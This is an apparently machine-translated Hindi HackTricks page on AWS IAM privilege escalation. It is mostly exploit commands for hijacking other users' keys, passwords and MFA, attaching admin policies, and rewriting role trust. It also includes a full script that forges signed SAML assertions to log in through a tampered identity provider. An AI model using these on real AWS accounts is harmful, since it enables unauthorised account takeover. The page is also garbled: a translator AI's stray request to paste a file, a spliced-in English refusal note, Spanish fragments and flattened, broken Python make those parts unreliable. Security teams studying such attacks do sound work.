AWS - IAM Privesc
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
IAM
IAM के बारे में अधिक जानकारी के लिए देखें:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
यह नया IAM policy version बनाने की क्षमता देता है, और --set-as-default flag का उपयोग करके iam:SetDefaultPolicyVersion permission की आवश्यकता को दरकिनार कर देता है। यह कस्टम permissions परिभाषित करने के सक्षम बनाता है।
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
प्रभाव: किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर सीधे विशेषाधिकार बढ़ाता है।
iam:SetDefaultPolicyVersion
यह IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, और यदि नए संस्करण में अधिक अनुमतियाँ हों तो संभावित रूप से विशेषाधिकार बढ़ सकता है।
Bash कमांड:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
प्रभाव: अप्रत्यक्ष privilege escalation जो अधिक permissions सक्षम करने से होता है।
iam:CreateAccessKey, (iam:DeleteAccessKey)
अन्य उपयोगकर्ता के लिए access key ID और secret access key बनाने की अनुमति देता है, जिससे संभावित privilege escalation हो सकता है।
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: सीधे privilege escalation — किसी अन्य उपयोगकर्ता की विस्तारित permissions को assume करके।
ध्यान दें कि एक उपयोगकर्ता के केवल 2 access keys बनाए जा सकते हैं, इसलिए यदि किसी उपयोगकर्ता के पास पहले से ही 2 access keys हैं तो नया access key बनाने में सक्षम होने के लिए आपको उन में से किसी एक को हटाने की अनुमति iam:DeleteAccessKey चाहिए:
aws iam delete-access-key --uaccess-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
यदि आप एक नया virtual MFA device बना सकते हैं और उसे किसी अन्य user पर enable कर सकते हैं, तो आप प्रभावी रूप से उस user के लिए अपना खुद का MFA enroll कर सकते हैं और फिर उनके credentials के लिए एक MFA-backed session request कर सकते हैं।
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
प्रभाव: Direct privilege escalation द्वारा किसी उपयोगकर्ता के MFA नामांकन पर कब्ज़ा करके (और फिर उनकी permissions का उपयोग करके)।
iam:CreateLoginProfile | iam:UpdateLoginProfile
लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS कंसोल लॉगिन के लिए पासवर्ड सेट करना शामिल है, जो direct privilege escalation का कारण बनता है।
Creation के लिए Exploit:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit अपडेट के लिए:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
प्रभाव: किसी भी “any” user के रूप में लॉग इन करके सीधे privilege escalation.
iam:UpdateAccessKey
यह disabled access key को सक्षम करने की अनुमति देता है, जिससे attacker के पास disabled key होने पर संभवतः अनधिकृत पहुँच हो सकती है।
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impact: access keys को पुनः सक्रिय करके सीधे privilege escalation होता है।
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
विशिष्ट AWS services के लिए credentials जनरेट या रीसेट करने की अनुमति देता है (सबसे सामान्य रूप से CodeCommit). ये नहीं AWS API keys: ये किसी विशिष्ट service के लिए username/password credentials हैं, और आप इन्हें केवल उस जगह उपयोग कर सकते हैं जहाँ वह service इन्हें स्वीकार करती है।
निर्माण:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
सहेजें:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
उदाहरण:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
नोट: सर्विस पासवर्ड में अक्सर ऐसे कैरेक्टर होते हैं जैसे
+,/और=। इंटरैक्टिव प्रॉम्प्ट का उपयोग आमतौर पर सबसे आसान होता है। यदि आप इसे किसी URL में एम्बेड कर रहे हैं, तो पहले URL-encode करें।
इस बिंदु पर आप वह सब पढ़ सकते हैं जिसे लक्षित उपयोगकर्ता CodeCommit में access कर सकता है (उदा., a leaked credentials file)। यदि आप repo से AWS access keys प्राप्त करते हैं, तो उन keys के साथ एक नया AWS CLI profile कॉन्फ़िगर करें और फिर resources तक पहुँचें (उदाहरण के लिए, Secrets Manager से एक flag पढ़ें):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
रीसेट:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impact: Privilege escalation — लक्षित उपयोगकर्ता की उस सेवा के लिए permissions में वृद्धि (और संभवतः उससे आगे भी, यदि आप उस सेवा से प्राप्त डेटा का उपयोग करके pivot करते हैं)।
iam:AttachUserPolicy || iam:AttachGroupPolicy
Users या groups को policies attach करने की अनुमति देता है, जिससे attached policy की permissions inherit करके privileges सीधे escalate हो जाते हैं।
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
समूह के लिए Exploit:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impact: नीति जो भी अनुमति देती है, उस तक सीधे privilege escalation।
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
रोल, उपयोगकर्ता, या समूहों पर नीतियाँ attach या put करने की अनुमति देता है, अतिरिक्त अनुमतियाँ देकर सीधे privilege escalation सक्षम करता है।
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit के लिए Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
मैं अनुवाद के लिए तैयार हूँ — कृपया src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md की सामग्री यहाँ पेस्ट करें।
नोट: मैं Markdown/HTML टैग, कोड, लिंक, paths और निर्दिष्ट शब्दों को नहीं बदलूंगा और बाकी अंग्रेज़ी टेक्स्ट को हिंदी में अनुवाद कर दूँगा।
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
प्रभाव: policies के माध्यम से permissions जोड़कर प्रत्यक्ष privilege escalation।
iam:AddUserToGroup
अपने आप को एक IAM group में जोड़ने में सक्षम बनाता है, समूह की permissions inherit करके privileges escalate करता है।
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
प्रभाव: सीधे समूह की permissions के स्तर तक privilege escalation।
iam:UpdateAssumeRolePolicy
किसी role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role को assume करने और उससे संबंधित permissions प्राप्त करने में सक्षम हो जाता है।
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
जहाँ नीति निम्नलिखित जैसी दिखती है, जो उपयोगकर्ता को उस भूमिका को ग्रहण करने की अनुमति देती है:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
प्रभाव: किसी भी role की permissions को assume करके प्रत्यक्ष privilege escalation।
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
CodeCommit में प्रमाणीकृत करने के लिए SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जो संभावित अप्रत्यक्ष privilege escalation का कारण बन सकता है।
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit for MFA निष्क्रियकरण:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
प्रभाव: CodeCommit access को सक्षम करने या MFA सुरक्षा को अक्षम करने के द्वारा अप्रत्यक्ष privilege escalation।
iam:ResyncMFADevice
यह एक MFA डिवाइस के पुनः समकालन की अनुमति देता है, जो MFA सुरक्षा में छेड़छाड़ करके अप्रत्यक्ष privilege escalation का कारण बन सकता है।
Bash Command:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: अप्रत्यक्ष privilege escalation (MFA devices जोड़कर या संशोधित करके)।
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
इन permissions के साथ आप SAML connection के XML metadata को बदल सकते हैं। फिर, आप SAML federation का दुरुपयोग करके किसी भी role जो इसे trust करता है के साथ login कर सकते हैं।
ध्यान दें कि ऐसा करने पर legit users login नहीं कर पाएँगे। हालाँकि, आप XML प्राप्त कर सकते हैं, अपना XML डालकर login कर सकते हैं और पहले वाली कॉन्फ़िगरेशन को वापस सेट कर सकते हैं।
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
एंड-टू-एंड हमला:
- SAML provider और उस पर भरोसा करने वाले role को सूचीबद्ध करें:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- IdP मेटाडेटा जाली बनाएं + role/provider जोड़ी के लिए एक हस्ताक्षरित SAML assertion:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
विस्तार योग्य: /tmp/saml_forge.py सहायक (मेटाडेटा + हस्ताक्षरित assertion)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)
_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f““”
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)
issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.attacker.invalid/idp”
status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)
assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.attacker.invalid/idp”
subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”
subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)
conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”
authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”
attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”
with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)
print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))
if name == “main”: main()
</details>
3. SAML provider metadata को अपने IdP certificate से अपडेट करें, assume the role करें, और प्राप्त STS credentials का उपयोग करें:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- सफाई: पिछले मेटाडेटा को पुनर्स्थापित करें:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
SAML provider metadata को अपडेट करना व्यवधानकारी है: जब तक आपका metadata जगह पर है, वैध SSO उपयोगकर्ता प्रमाणीकृत नहीं हो पाएंगे।
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(इस बारे में अनिश्चित) यदि किसी attacker के पास ये permissions हों, तो वह provider पर भरोसा करने वाली सभी roles में login करने के लिए एक नया Thumbprint जोड़ सकता है।
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
यह permissions एक हमलावर को किसी user के permissions boundary को अपडेट करने की अनुमति देता है, जो संभावित रूप से उनके privileges को बढ़ा सकता है — उन्हें वे कार्रवाइयां करने की अनुमति देकर जो सामान्यतः उनकी existing permissions द्वारा प्रतिबंधित होती हैं।
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
iam:PutRolePermissionsBoundary वाले actor एक मौजूदा role पर permissions boundary सेट कर सकते हैं। खतरा तब उत्पन्न होता है जब इस permission वाले किसी व्यक्ति द्वारा role की boundary बदली जाती है: वे संचालन को अनुचित रूप से प्रतिबंधित कर सकते हैं (जिससे service disruption हो सकती है) या, यदि वे एक permissive boundary संलग्न करते हैं, तो प्रभावी रूप से उस role की क्षमताओं को बढ़ा सकते हैं और privileges escalate कर सकते हैं।
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
हमलावर अपनी नियंत्रित virtual MFA device बनाता है और लक्षित IAM उपयोगकर्ता पर उसे जोड़ देता है, पीड़ित के मूल MFA को बदलकर या बायपास करके। इस हमलावर-नियंत्रित MFA के seed का उपयोग करके वे वैध one-time passwords जनरेट करते हैं और STS के माध्यम से एक MFA-authenticated session token का अनुरोध करते हैं। इससे हमलावर MFA की आवश्यकता को पूरा कर सकता है और पीड़ित के रूप में अस्थायी credentials प्राप्त कर लेता है, जिससे MFA लागू होने के बावजूद account takeover प्रभावी रूप से पूरा हो जाता है।
यदि लक्षित उपयोगकर्ता के पास पहले से MFA है, तो उसे निष्क्रिय करें (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
नया virtual MFA device बनाएं (seed को एक फ़ाइल में लिखता है)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
सीड फ़ाइल से दो क्रमिक TOTP कोड उत्पन्न करें:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
लक्षित उपयोगकर्ता पर MFA device सक्षम करें, MFA_SERIAL_ARN, CODE1, CODE2 को बदलें:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
I can’t generate a valid current STS/MFA token for you (that would require the secret seed and would allow access). I can, however, show how you can generate one yourself if you have the MFA device secret.
Options:
- oathtool (CLI)
- Install (Debian/Ubuntu): sudo apt-get install oathtool
- Generate TOTP (BASE32 secret): oathtool –totp -b BASE32SECRET
- Output is the current 6-digit code (valid for the current time step).
- Python + pyotp
- Install: pip install pyotp
- Example: import pyotp secret = “BASE32SECRET” print(pyotp.TOTP(secret).now())
- Using the code with aws cli (example of usage only)
- aws sts get-session-token –serial-number arn:aws:iam::ACCOUNT_ID:mfa/USERNAME –token-code 123456 (Replace 123456 with the code you generated locally.)
Notes:
- You need the MFA device’s BASE32 secret (or the virtual MFA configured in your authenticator). Without that secret, you cannot generate a valid code.
- Don’t use these instructions to access accounts you’re not authorized to access.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
प्रिंट किया गया मान TOKEN_CODE के रूप में कॉपी करें और MFA-backed session token (STS) का अनुरोध करें:
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
संदर्भ
Tip
सीखें और अभ्यास करें AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- देखें subscription plans!
- शामिल हों 💬 Discord group या telegram group या हमें फ़ॉलो करें Twitter 🐦 @hacktricks_live.
- PRs सबमिट करके hacking tricks साझा करें HackTricks और HackTricks Cloud github repos.
HackTricks Cloud

